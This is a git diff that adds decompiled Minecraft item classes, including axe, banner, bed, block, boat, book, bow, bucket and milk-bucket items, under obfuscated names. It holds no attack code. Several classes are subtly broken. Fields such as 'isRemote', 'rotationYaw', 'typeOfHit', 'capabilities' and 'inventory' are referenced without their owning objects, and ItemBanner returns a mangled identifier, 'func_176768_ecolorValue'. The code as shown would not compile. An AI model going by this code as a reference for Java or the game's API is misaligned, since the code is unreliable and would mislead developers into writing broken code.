+    double var13 = var10.getX();
+    double var15 = var10.getY();
+    double var17 = var10.getZ();
+    List var19 = worldIn.getEntitiesWithinAABBExcludingEntity(null, net.minecraft.util.AxisAlignedBB.fromBounds(var13, var15, var17, var13 + 1.0D, var15 + 2.0D, var17 + 1.0D));
+    
+    if (var19.size() > 0)
+    {
+      return false;
+    }
+    
+
+    if (!isRemote)
+    {
+      worldIn.setBlockToAir(var10);
+      worldIn.setBlockToAir(var11);
+      EntityArmorStand var20 = new EntityArmorStand(worldIn, var13 + 0.5D, var15, var17 + 0.5D);
+      float var21 = MathHelper.floor_float((MathHelper.wrapAngleTo180_float(rotationYaw - 180.0F) + 22.5F) / 45.0F) * 45.0F;
+      var20.setLocationAndAngles(var13 + 0.5D, var15, var17 + 0.5D, var21, 0.0F);
+      func_179221_a(var20, rand);
+      NBTTagCompound var22 = stack.getTagCompound();
+      
+      if ((var22 != null) && (var22.hasKey("EntityTag", 10)))
+      {
+        NBTTagCompound var23 = new NBTTagCompound();
+        var20.writeToNBTOptional(var23);
+        var23.merge(var22.getCompoundTag("EntityTag"));
+        var20.readFromNBT(var23);
+      }
+      
+      worldIn.spawnEntityInWorld(var20);
+    }
+    
+    stackSize -= 1;
+    return true;
+  }
+  
+
+
+
+
+  private void func_179221_a(EntityArmorStand p_179221_1_, Random p_179221_2_)
+  {
+    Rotations var3 = p_179221_1_.getHeadRotation();
+    float var5 = p_179221_2_.nextFloat() * 5.0F;
+    float var6 = p_179221_2_.nextFloat() * 20.0F - 10.0F;
+    Rotations var4 = new Rotations(var3.func_179415_b() + var5, var3.func_179416_c() + var6, var3.func_179413_d());
+    p_179221_1_.setHeadRotation(var4);
+    var3 = p_179221_1_.getBodyRotation();
+    var5 = p_179221_2_.nextFloat() * 10.0F - 5.0F;
+    var4 = new Rotations(var3.func_179415_b(), var3.func_179416_c() + var5, var3.func_179413_d());
+    p_179221_1_.setBodyRotation(var4);
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemAxe.java b/src/minecraft/net/minecraft/item/ItemAxe.java
new file mode 100644
index 0000000..46054b5
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemAxe.java
@@ -0,0 +1,23 @@
+package net.minecraft.item;
+
+import com.google.common.collect.Sets;
+import java.util.Set;
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.init.Blocks;
+
+public class ItemAxe extends ItemTool
+{
+  private static final Set field_150917_c = Sets.newHashSet(new Block[] { Blocks.planks, Blocks.bookshelf, Blocks.log, Blocks.log2, Blocks.chest, Blocks.pumpkin, Blocks.lit_pumpkin, Blocks.melon_block, Blocks.ladder });
+  private static final String __OBFID = "CL_00001770";
+  
+  protected ItemAxe(Item.ToolMaterial p_i45327_1_)
+  {
+    super(3.0F, p_i45327_1_, field_150917_c);
+  }
+  
+  public float getStrVsBlock(ItemStack stack, Block p_150893_2_)
+  {
+    return (p_150893_2_.getMaterial() != Material.wood) && (p_150893_2_.getMaterial() != Material.plants) && (p_150893_2_.getMaterial() != Material.vine) ? super.getStrVsBlock(stack, p_150893_2_) : efficiencyOnProperMaterial;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemBanner.java b/src/minecraft/net/minecraft/item/ItemBanner.java
new file mode 100644
index 0000000..5803cfc
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemBanner.java
@@ -0,0 +1,179 @@
+package net.minecraft.item;
+
+import java.util.List;
+import net.minecraft.block.Block;
+import net.minecraft.block.material.MapColor;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.tileentity.TileEntityBanner;
+import net.minecraft.tileentity.TileEntityBanner.EnumBannerPattern;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.StatCollector;
+import net.minecraft.world.World;
+
+public class ItemBanner extends ItemBlock
+{
+  private static final String __OBFID = "CL_00002181";
+  
+  public ItemBanner()
+  {
+    super(Blocks.standing_banner);
+    maxStackSize = 16;
+    setCreativeTab(CreativeTabs.tabDecorations);
+    setHasSubtypes(true);
+    setMaxDamage(0);
+  }
+  
+
+
+
+
+
+
+  public boolean onItemUse(ItemStack stack, EntityPlayer playerIn, World worldIn, BlockPos pos, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (side == EnumFacing.DOWN)
+    {
+      return false;
+    }
+    if (!worldIn.getBlockState(pos).getBlock().getMaterial().isSolid())
+    {
+      return false;
+    }
+    
+
+    pos = pos.offset(side);
+    
+    if (!playerIn.func_175151_a(pos, side, stack))
+    {
+      return false;
+    }
+    if (!Blocks.standing_banner.canPlaceBlockAt(worldIn, pos))
+    {
+      return false;
+    }
+    if (isRemote)
+    {
+      return true;
+    }
+    
+
+    if (side == EnumFacing.UP)
+    {
+      int var9 = net.minecraft.util.MathHelper.floor_double((rotationYaw + 180.0F) * 16.0F / 360.0F + 0.5D) & 0xF;
+      worldIn.setBlockState(pos, Blocks.standing_banner.getDefaultState().withProperty(net.minecraft.block.BlockStandingSign.ROTATION_PROP, Integer.valueOf(var9)), 3);
+    }
+    else
+    {
+      worldIn.setBlockState(pos, Blocks.wall_banner.getDefaultState().withProperty(net.minecraft.block.BlockWallSign.field_176412_a, side), 3);
+    }
+    
+    stackSize -= 1;
+    net.minecraft.tileentity.TileEntity var10 = worldIn.getTileEntity(pos);
+    
+    if ((var10 instanceof TileEntityBanner))
+    {
+      ((TileEntityBanner)var10).setItemValues(stack);
+    }
+    
+    return true;
+  }
+  
+
+
+  public String getItemStackDisplayName(ItemStack stack)
+  {
+    String var2 = "item.banner.";
+    EnumDyeColor var3 = func_179225_h(stack);
+    var2 = var2 + var3.func_176762_d() + ".name";
+    return StatCollector.translateToLocal(var2);
+  }
+  
+
+
+
+
+
+
+  public void addInformation(ItemStack stack, EntityPlayer playerIn, List tooltip, boolean advanced)
+  {
+    NBTTagCompound var5 = stack.getSubCompound("BlockEntityTag", false);
+    
+    if ((var5 != null) && (var5.hasKey("Patterns")))
+    {
+      NBTTagList var6 = var5.getTagList("Patterns", 10);
+      
+      for (int var7 = 0; (var7 < var6.tagCount()) && (var7 < 6); var7++)
+      {
+        NBTTagCompound var8 = var6.getCompoundTagAt(var7);
+        EnumDyeColor var9 = EnumDyeColor.func_176766_a(var8.getInteger("Color"));
+        TileEntityBanner.EnumBannerPattern var10 = TileEntityBanner.EnumBannerPattern.func_177268_a(var8.getString("Pattern"));
+        
+        if (var10 != null)
+        {
+          tooltip.add(StatCollector.translateToLocal("item.banner." + var10.func_177271_a() + "." + var9.func_176762_d()));
+        }
+      }
+    }
+  }
+  
+  public int getColorFromItemStack(ItemStack stack, int renderPass)
+  {
+    if (renderPass == 0)
+    {
+      return 16777215;
+    }
+    
+
+    EnumDyeColor var3 = func_179225_h(stack);
+    return func_176768_ecolorValue;
+  }
+  
+
+
+
+
+
+
+  public void getSubItems(Item itemIn, CreativeTabs tab, List subItems)
+  {
+    EnumDyeColor[] var4 = EnumDyeColor.values();
+    int var5 = var4.length;
+    
+    for (int var6 = 0; var6 < var5; var6++)
+    {
+      EnumDyeColor var7 = var4[var6];
+      subItems.add(new ItemStack(itemIn, 1, var7.getDyeColorDamage()));
+    }
+  }
+  
+
+
+
+  public CreativeTabs getCreativeTab()
+  {
+    return CreativeTabs.tabDecorations;
+  }
+  
+  private EnumDyeColor func_179225_h(ItemStack p_179225_1_)
+  {
+    NBTTagCompound var2 = p_179225_1_.getSubCompound("BlockEntityTag", false);
+    EnumDyeColor var3 = null;
+    
+    if ((var2 != null) && (var2.hasKey("Base")))
+    {
+      var3 = EnumDyeColor.func_176766_a(var2.getInteger("Base"));
+    }
+    else
+    {
+      var3 = EnumDyeColor.func_176766_a(p_179225_1_.getMetadata());
+    }
+    
+    return var3;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemBed.java b/src/minecraft/net/minecraft/item/ItemBed.java
new file mode 100644
index 0000000..a312e7a
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemBed.java
@@ -0,0 +1,82 @@
+package net.minecraft.item;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockBed;
+import net.minecraft.block.BlockBed.EnumPartType;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class ItemBed extends Item
+{
+  private static final String __OBFID = "CL_00001771";
+  
+  public ItemBed()
+  {
+    setCreativeTab(CreativeTabs.tabDecorations);
+  }
+  
+
+
+
+
+
+
+  public boolean onItemUse(ItemStack stack, EntityPlayer playerIn, World worldIn, BlockPos pos, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (isRemote)
+    {
+      return true;
+    }
+    if (side != EnumFacing.UP)
+    {
+      return false;
+    }
+    
+
+    IBlockState var9 = worldIn.getBlockState(pos);
+    Block var10 = var9.getBlock();
+    boolean var11 = var10.isReplaceable(worldIn, pos);
+    
+    if (!var11)
+    {
+      pos = pos.offsetUp();
+    }
+    
+    int var12 = MathHelper.floor_double(rotationYaw * 4.0F / 360.0F + 0.5D) & 0x3;
+    EnumFacing var13 = EnumFacing.getHorizontal(var12);
+    BlockPos var14 = pos.offset(var13);
+    boolean var15 = var10.isReplaceable(worldIn, var14);
+    boolean var16 = (worldIn.isAirBlock(pos)) || (var11);
+    boolean var17 = (worldIn.isAirBlock(var14)) || (var15);
+    
+    if ((playerIn.func_175151_a(pos, side, stack)) && (playerIn.func_175151_a(var14, side, stack)))
+    {
+      if ((var16) && (var17) && (World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetDown())) && (World.doesBlockHaveSolidTopSurface(worldIn, var14.offsetDown())))
+      {
+        int var18 = var13.getHorizontalIndex();
+        IBlockState var19 = net.minecraft.init.Blocks.bed.getDefaultState().withProperty(BlockBed.OCCUPIED_PROP, Boolean.valueOf(false)).withProperty(BlockBed.AGE, var13).withProperty(BlockBed.PART_PROP, BlockBed.EnumPartType.FOOT);
+        
+        if (worldIn.setBlockState(pos, var19, 3))
+        {
+          IBlockState var20 = var19.withProperty(BlockBed.PART_PROP, BlockBed.EnumPartType.HEAD);
+          worldIn.setBlockState(var14, var20, 3);
+        }
+        
+        stackSize -= 1;
+        return true;
+      }
+      
+
+      return false;
+    }
+    
+
+
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemBlock.java b/src/minecraft/net/minecraft/item/ItemBlock.java
new file mode 100644
index 0000000..4a5dfac
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemBlock.java
@@ -0,0 +1,179 @@
+package net.minecraft.item;
+
+import java.util.List;
+import net.minecraft.block.Block;
+import net.minecraft.block.Block.SoundType;
+import net.minecraft.block.BlockSnow;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class ItemBlock extends Item
+{
+  protected final Block block;
+  private static final String __OBFID = "CL_00001772";
+  
+  public ItemBlock(Block block)
+  {
+    this.block = block;
+  }
+  
+
+
+
+  public ItemBlock setUnlocalizedName(String unlocalizedName)
+  {
+    super.setUnlocalizedName(unlocalizedName);
+    return this;
+  }
+  
+
+
+
+
+
+
+  public boolean onItemUse(ItemStack stack, EntityPlayer playerIn, World worldIn, BlockPos pos, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    IBlockState var9 = worldIn.getBlockState(pos);
+    Block var10 = var9.getBlock();
+    
+    if ((var10 == Blocks.snow_layer) && (((Integer)var9.getValue(BlockSnow.LAYERS_PROP)).intValue() < 1))
+    {
+      side = EnumFacing.UP;
+    }
+    else if (!var10.isReplaceable(worldIn, pos))
+    {
+      pos = pos.offset(side);
+    }
+    
+    if (stackSize == 0)
+    {
+      return false;
+    }
+    if (!playerIn.func_175151_a(pos, side, stack))
+    {
+      return false;
+    }
+    if ((pos.getY() == 255) && (block.getMaterial().isSolid()))
+    {
+      return false;
+    }
+    if (worldIn.canBlockBePlaced(block, pos, false, side, null, stack))
+    {
+      int var11 = getMetadata(stack.getMetadata());
+      IBlockState var12 = block.onBlockPlaced(worldIn, pos, side, hitX, hitY, hitZ, var11, playerIn);
+      
+      if (worldIn.setBlockState(pos, var12, 3))
+      {
+        var12 = worldIn.getBlockState(pos);
+        
+        if (var12.getBlock() == block)
+        {
+          setTileEntityNBT(worldIn, pos, stack);
+          block.onBlockPlacedBy(worldIn, pos, var12, playerIn, stack);
+        }
+        
+        worldIn.playSoundEffect(pos.getX() + 0.5F, pos.getY() + 0.5F, pos.getZ() + 0.5F, block.stepSound.getPlaceSound(), (block.stepSound.getVolume() + 1.0F) / 2.0F, block.stepSound.getFrequency() * 0.8F);
+        stackSize -= 1;
+      }
+      
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+  public static boolean setTileEntityNBT(World worldIn, BlockPos p_179224_1_, ItemStack p_179224_2_)
+  {
+    if ((p_179224_2_.hasTagCompound()) && (p_179224_2_.getTagCompound().hasKey("BlockEntityTag", 10)))
+    {
+      TileEntity var3 = worldIn.getTileEntity(p_179224_1_);
+      
+      if (var3 != null)
+      {
+        NBTTagCompound var4 = new NBTTagCompound();
+        NBTTagCompound var5 = (NBTTagCompound)var4.copy();
+        var3.writeToNBT(var4);
+        NBTTagCompound var6 = (NBTTagCompound)p_179224_2_.getTagCompound().getTag("BlockEntityTag");
+        var4.merge(var6);
+        var4.setInteger("x", p_179224_1_.getX());
+        var4.setInteger("y", p_179224_1_.getY());
+        var4.setInteger("z", p_179224_1_.getZ());
+        
+        if (!var4.equals(var5))
+        {
+          var3.readFromNBT(var4);
+          var3.markDirty();
+          return true;
+        }
+      }
+    }
+    
+    return false;
+  }
+  
+  public boolean canPlaceBlockOnSide(World worldIn, BlockPos p_179222_2_, EnumFacing p_179222_3_, EntityPlayer p_179222_4_, ItemStack p_179222_5_)
+  {
+    Block var6 = worldIn.getBlockState(p_179222_2_).getBlock();
+    
+    if (var6 == Blocks.snow_layer)
+    {
+      p_179222_3_ = EnumFacing.UP;
+    }
+    else if (!var6.isReplaceable(worldIn, p_179222_2_))
+    {
+      p_179222_2_ = p_179222_2_.offset(p_179222_3_);
+    }
+    
+    return worldIn.canBlockBePlaced(block, p_179222_2_, false, p_179222_3_, null, p_179222_5_);
+  }
+  
+
+
+
+
+  public String getUnlocalizedName(ItemStack stack)
+  {
+    return block.getUnlocalizedName();
+  }
+  
+
+
+
+  public String getUnlocalizedName()
+  {
+    return block.getUnlocalizedName();
+  }
+  
+
+
+
+  public CreativeTabs getCreativeTab()
+  {
+    return block.getCreativeTabToDisplayOn();
+  }
+  
+
+
+
+
+
+  public void getSubItems(Item itemIn, CreativeTabs tab, List subItems)
+  {
+    block.getSubBlocks(itemIn, tab, subItems);
+  }
+  
+  public Block getBlock()
+  {
+    return block;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemBoat.java b/src/minecraft/net/minecraft/item/ItemBoat.java
new file mode 100644
index 0000000..2c9b5cb
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemBoat.java
@@ -0,0 +1,114 @@
+package net.minecraft.item;
+
+import java.util.List;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.item.EntityBoat;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.World;
+
+public class ItemBoat extends Item
+{
+  private static final String __OBFID = "CL_00001774";
+  
+  public ItemBoat()
+  {
+    maxStackSize = 1;
+    setCreativeTab(CreativeTabs.tabTransport);
+  }
+  
+
+
+
+  public ItemStack onItemRightClick(ItemStack itemStackIn, World worldIn, EntityPlayer playerIn)
+  {
+    float var4 = 1.0F;
+    float var5 = prevRotationPitch + (rotationPitch - prevRotationPitch) * var4;
+    float var6 = prevRotationYaw + (rotationYaw - prevRotationYaw) * var4;
+    double var7 = prevPosX + (posX - prevPosX) * var4;
+    double var9 = prevPosY + (posY - prevPosY) * var4 + playerIn.getEyeHeight();
+    double var11 = prevPosZ + (posZ - prevPosZ) * var4;
+    Vec3 var13 = new Vec3(var7, var9, var11);
+    float var14 = MathHelper.cos(-var6 * 0.017453292F - 3.1415927F);
+    float var15 = MathHelper.sin(-var6 * 0.017453292F - 3.1415927F);
+    float var16 = -MathHelper.cos(-var5 * 0.017453292F);
+    float var17 = MathHelper.sin(-var5 * 0.017453292F);
+    float var18 = var15 * var16;
+    float var20 = var14 * var16;
+    double var21 = 5.0D;
+    Vec3 var23 = var13.addVector(var18 * var21, var17 * var21, var20 * var21);
+    MovingObjectPosition var24 = worldIn.rayTraceBlocks(var13, var23, true);
+    
+    if (var24 == null)
+    {
+      return itemStackIn;
+    }
+    
+
+    Vec3 var25 = playerIn.getLook(var4);
+    boolean var26 = false;
+    float var27 = 1.0F;
+    List var28 = worldIn.getEntitiesWithinAABBExcludingEntity(playerIn, playerIn.getEntityBoundingBox().addCoord(xCoord * var21, yCoord * var21, zCoord * var21).expand(var27, var27, var27));
+    
+    for (int var29 = 0; var29 < var28.size(); var29++)
+    {
+      Entity var30 = (Entity)var28.get(var29);
+      
+      if (var30.canBeCollidedWith())
+      {
+        float var31 = var30.getCollisionBorderSize();
+        AxisAlignedBB var32 = var30.getEntityBoundingBox().expand(var31, var31, var31);
+        
+        if (var32.isVecInside(var13))
+        {
+          var26 = true;
+        }
+      }
+    }
+    
+    if (var26)
+    {
+      return itemStackIn;
+    }
+    
+
+    if (typeOfHit == net.minecraft.util.MovingObjectPosition.MovingObjectType.BLOCK)
+    {
+      BlockPos var33 = var24.func_178782_a();
+      
+      if (worldIn.getBlockState(var33).getBlock() == net.minecraft.init.Blocks.snow_layer)
+      {
+        var33 = var33.offsetDown();
+      }
+      
+      EntityBoat var34 = new EntityBoat(worldIn, var33.getX() + 0.5F, var33.getY() + 1.0F, var33.getZ() + 0.5F);
+      rotationYaw = (((MathHelper.floor_double(rotationYaw * 4.0F / 360.0F + 0.5D) & 0x3) - 1) * 90);
+      
+      if (!worldIn.getCollidingBoundingBoxes(var34, var34.getEntityBoundingBox().expand(-0.1D, -0.1D, -0.1D)).isEmpty())
+      {
+        return itemStackIn;
+      }
+      
+      if (!isRemote)
+      {
+        worldIn.spawnEntityInWorld(var34);
+      }
+      
+      if (!capabilities.isCreativeMode)
+      {
+        stackSize -= 1;
+      }
+      
+      playerIn.triggerAchievement(net.minecraft.stats.StatList.objectUseStats[Item.getIdFromItem(this)]);
+    }
+    
+    return itemStackIn;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemBook.java b/src/minecraft/net/minecraft/item/ItemBook.java
new file mode 100644
index 0000000..054da5d
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemBook.java
@@ -0,0 +1,22 @@
+package net.minecraft.item;
+
+public class ItemBook
+  extends Item
+{
+  private static final String __OBFID = "CL_00001775";
+  
+  public ItemBook() {}
+  
+  public boolean isItemTool(ItemStack stack)
+  {
+    return stackSize == 1;
+  }
+  
+
+
+
+  public int getItemEnchantability()
+  {
+    return 1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemBow.java b/src/minecraft/net/minecraft/item/ItemBow.java
new file mode 100644
index 0000000..9045cc1
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemBow.java
@@ -0,0 +1,141 @@
+package net.minecraft.item;
+
+import net.minecraft.enchantment.Enchantment;
+import net.minecraft.enchantment.EnchantmentHelper;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.entity.projectile.EntityArrow;
+import net.minecraft.init.Items;
+import net.minecraft.world.World;
+
+public class ItemBow extends Item
+{
+  public static final String[] bowPullIconNameArray = { "pulling_0", "pulling_1", "pulling_2" };
+  private static final String __OBFID = "CL_00001777";
+  
+  public ItemBow()
+  {
+    maxStackSize = 1;
+    setMaxDamage(384);
+    setCreativeTab(net.minecraft.creativetab.CreativeTabs.tabCombat);
+  }
+  
+
+
+
+
+
+  public void onPlayerStoppedUsing(ItemStack stack, World worldIn, EntityPlayer playerIn, int timeLeft)
+  {
+    boolean var5 = (capabilities.isCreativeMode) || (EnchantmentHelper.getEnchantmentLevel(infinityeffectId, stack) > 0);
+    
+    if ((var5) || (inventory.hasItem(Items.arrow)))
+    {
+      int var6 = getMaxItemUseDuration(stack) - timeLeft;
+      float var7 = var6 / 20.0F;
+      var7 = (var7 * var7 + var7 * 2.0F) / 3.0F;
+      
+      if (var7 < 0.1D)
+      {
+        return;
+      }
+      
+      if (var7 > 1.0F)
+      {
+        var7 = 1.0F;
+      }
+      
+      EntityArrow var8 = new EntityArrow(worldIn, playerIn, var7 * 2.0F);
+      
+      if (var7 == 1.0F)
+      {
+        var8.setIsCritical(true);
+      }
+      
+      int var9 = EnchantmentHelper.getEnchantmentLevel(powereffectId, stack);
+      
+      if (var9 > 0)
+      {
+        var8.setDamage(var8.getDamage() + var9 * 0.5D + 0.5D);
+      }
+      
+      int var10 = EnchantmentHelper.getEnchantmentLevel(puncheffectId, stack);
+      
+      if (var10 > 0)
+      {
+        var8.setKnockbackStrength(var10);
+      }
+      
+      if (EnchantmentHelper.getEnchantmentLevel(flameeffectId, stack) > 0)
+      {
+        var8.setFire(100);
+      }
+      
+      stack.damageItem(1, playerIn);
+      worldIn.playSoundAtEntity(playerIn, "random.bow", 1.0F, 1.0F / (itemRand.nextFloat() * 0.4F + 1.2F) + var7 * 0.5F);
+      
+      if (var5)
+      {
+        canBePickedUp = 2;
+      }
+      else
+      {
+        inventory.consumeInventoryItem(Items.arrow);
+      }
+      
+      playerIn.triggerAchievement(net.minecraft.stats.StatList.objectUseStats[Item.getIdFromItem(this)]);
+      
+      if (!isRemote)
+      {
+        worldIn.spawnEntityInWorld(var8);
+      }
+    }
+  }
+  
+
+
+
+
+  public ItemStack onItemUseFinish(ItemStack stack, World worldIn, EntityPlayer playerIn)
+  {
+    return stack;
+  }
+  
+
+
+
+  public int getMaxItemUseDuration(ItemStack stack)
+  {
+    return 72000;
+  }
+  
+
+
+
+  public EnumAction getItemUseAction(ItemStack stack)
+  {
+    return EnumAction.BOW;
+  }
+  
+
+
+
+  public ItemStack onItemRightClick(ItemStack itemStackIn, World worldIn, EntityPlayer playerIn)
+  {
+    if ((capabilities.isCreativeMode) || (inventory.hasItem(Items.arrow)))
+    {
+      playerIn.setItemInUse(itemStackIn, getMaxItemUseDuration(itemStackIn));
+    }
+    
+    return itemStackIn;
+  }
+  
+
+
+
+  public int getItemEnchantability()
+  {
+    return 1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemBucket.java b/src/minecraft/net/minecraft/item/ItemBucket.java
new file mode 100644
index 0000000..40462e1
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemBucket.java
@@ -0,0 +1,165 @@
+package net.minecraft.item;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockLiquid;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.world.World;
+
+public class ItemBucket extends Item
+{
+  private Block isFull;
+  private static final String __OBFID = "CL_00000000";
+  
+  public ItemBucket(Block p_i45331_1_)
+  {
+    maxStackSize = 1;
+    isFull = p_i45331_1_;
+    setCreativeTab(CreativeTabs.tabMisc);
+  }
+  
+
+
+
+  public ItemStack onItemRightClick(ItemStack itemStackIn, World worldIn, EntityPlayer playerIn)
+  {
+    boolean var4 = isFull == Blocks.air;
+    MovingObjectPosition var5 = getMovingObjectPositionFromPlayer(worldIn, playerIn, var4);
+    
+    if (var5 == null)
+    {
+      return itemStackIn;
+    }
+    
+
+    if (typeOfHit == net.minecraft.util.MovingObjectPosition.MovingObjectType.BLOCK)
+    {
+      BlockPos var6 = var5.func_178782_a();
+      
+      if (!worldIn.isBlockModifiable(playerIn, var6))
+      {
+        return itemStackIn;
+      }
+      
+      if (var4)
+      {
+        if (!playerIn.func_175151_a(var6.offset(field_178784_b), field_178784_b, itemStackIn))
+        {
+          return itemStackIn;
+        }
+        
+        IBlockState var7 = worldIn.getBlockState(var6);
+        Material var8 = var7.getBlock().getMaterial();
+        
+        if ((var8 == Material.water) && (((Integer)var7.getValue(BlockLiquid.LEVEL)).intValue() == 0))
+        {
+          worldIn.setBlockToAir(var6);
+          playerIn.triggerAchievement(net.minecraft.stats.StatList.objectUseStats[Item.getIdFromItem(this)]);
+          return func_150910_a(itemStackIn, playerIn, Items.water_bucket);
+        }
+        
+        if ((var8 == Material.lava) && (((Integer)var7.getValue(BlockLiquid.LEVEL)).intValue() == 0))
+        {
+          worldIn.setBlockToAir(var6);
+          playerIn.triggerAchievement(net.minecraft.stats.StatList.objectUseStats[Item.getIdFromItem(this)]);
+          return func_150910_a(itemStackIn, playerIn, Items.lava_bucket);
+        }
+      }
+      else
+      {
+        if (isFull == Blocks.air)
+        {
+          return new ItemStack(Items.bucket);
+        }
+        
+        BlockPos var9 = var6.offset(field_178784_b);
+        
+        if (!playerIn.func_175151_a(var9, field_178784_b, itemStackIn))
+        {
+          return itemStackIn;
+        }
+        
+        if ((func_180616_a(worldIn, var9)) && (!capabilities.isCreativeMode))
+        {
+          playerIn.triggerAchievement(net.minecraft.stats.StatList.objectUseStats[Item.getIdFromItem(this)]);
+          return new ItemStack(Items.bucket);
+        }
+      }
+    }
+    
+    return itemStackIn;
+  }
+  
+
+  private ItemStack func_150910_a(ItemStack p_150910_1_, EntityPlayer p_150910_2_, Item p_150910_3_)
+  {
+    if (capabilities.isCreativeMode)
+    {
+      return p_150910_1_;
+    }
+    if (--stackSize <= 0)
+    {
+      return new ItemStack(p_150910_3_);
+    }
+    
+
+    if (!inventory.addItemStackToInventory(new ItemStack(p_150910_3_)))
+    {
+      p_150910_2_.dropPlayerItemWithRandomChoice(new ItemStack(p_150910_3_, 1, 0), false);
+    }
+    
+    return p_150910_1_;
+  }
+  
+
+  public boolean func_180616_a(World worldIn, BlockPos p_180616_2_)
+  {
+    if (isFull == Blocks.air)
+    {
+      return false;
+    }
+    
+
+    Material var3 = worldIn.getBlockState(p_180616_2_).getBlock().getMaterial();
+    boolean var4 = !var3.isSolid();
+    
+    if ((!worldIn.isAirBlock(p_180616_2_)) && (!var4))
+    {
+      return false;
+    }
+    
+
+    if ((provider.func_177500_n()) && (isFull == Blocks.flowing_water))
+    {
+      int var5 = p_180616_2_.getX();
+      int var6 = p_180616_2_.getY();
+      int var7 = p_180616_2_.getZ();
+      worldIn.playSoundEffect(var5 + 0.5F, var6 + 0.5F, var7 + 0.5F, "random.fizz", 0.5F, 2.6F + (rand.nextFloat() - rand.nextFloat()) * 0.8F);
+      
+      for (int var8 = 0; var8 < 8; var8++)
+      {
+        worldIn.spawnParticle(EnumParticleTypes.SMOKE_LARGE, var5 + Math.random(), var6 + Math.random(), var7 + Math.random(), 0.0D, 0.0D, 0.0D, new int[0]);
+      }
+    }
+    else
+    {
+      if ((!isRemote) && (var4) && (!var3.isLiquid()))
+      {
+        worldIn.destroyBlock(p_180616_2_, true);
+      }
+      
+      worldIn.setBlockState(p_180616_2_, isFull.getDefaultState(), 3);
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemBucketMilk.java b/src/minecraft/net/minecraft/item/ItemBucketMilk.java
new file mode 100644
index 0000000..e1bf821
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemBucketMilk.java
@@ -0,0 +1,63 @@
+package net.minecraft.item;
+
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Items;
+import net.minecraft.world.World;
+
+public class ItemBucketMilk extends Item
+{
+  private static final String __OBFID = "CL_00000048";
+  
+  public ItemBucketMilk()
+  {
+    setMaxStackSize(1);
+    setCreativeTab(CreativeTabs.tabMisc);
+  }
+  
+
+
+
+
+  public ItemStack onItemUseFinish(ItemStack stack, World worldIn, EntityPlayer playerIn)
+  {
+    if (!capabilities.isCreativeMode)
+    {
+      stackSize -= 1;
+    }
+    
+    if (!isRemote)
+    {
+      playerIn.clearActivePotions();
+    }
+    
+    playerIn.triggerAchievement(net.minecraft.stats.StatList.objectUseStats[Item.getIdFromItem(this)]);
+    return stackSize <= 0 ? new ItemStack(Items.bucket) : stack;
+  }
+  
+
+
+
+  public int getMaxItemUseDuration(ItemStack stack)
+  {
+    return 32;
+  }
+  
+
+
+
+  public EnumAction getItemUseAction(ItemStack stack)
+  {
+    return EnumAction.DRINK;
+  }
+  
+
+
+
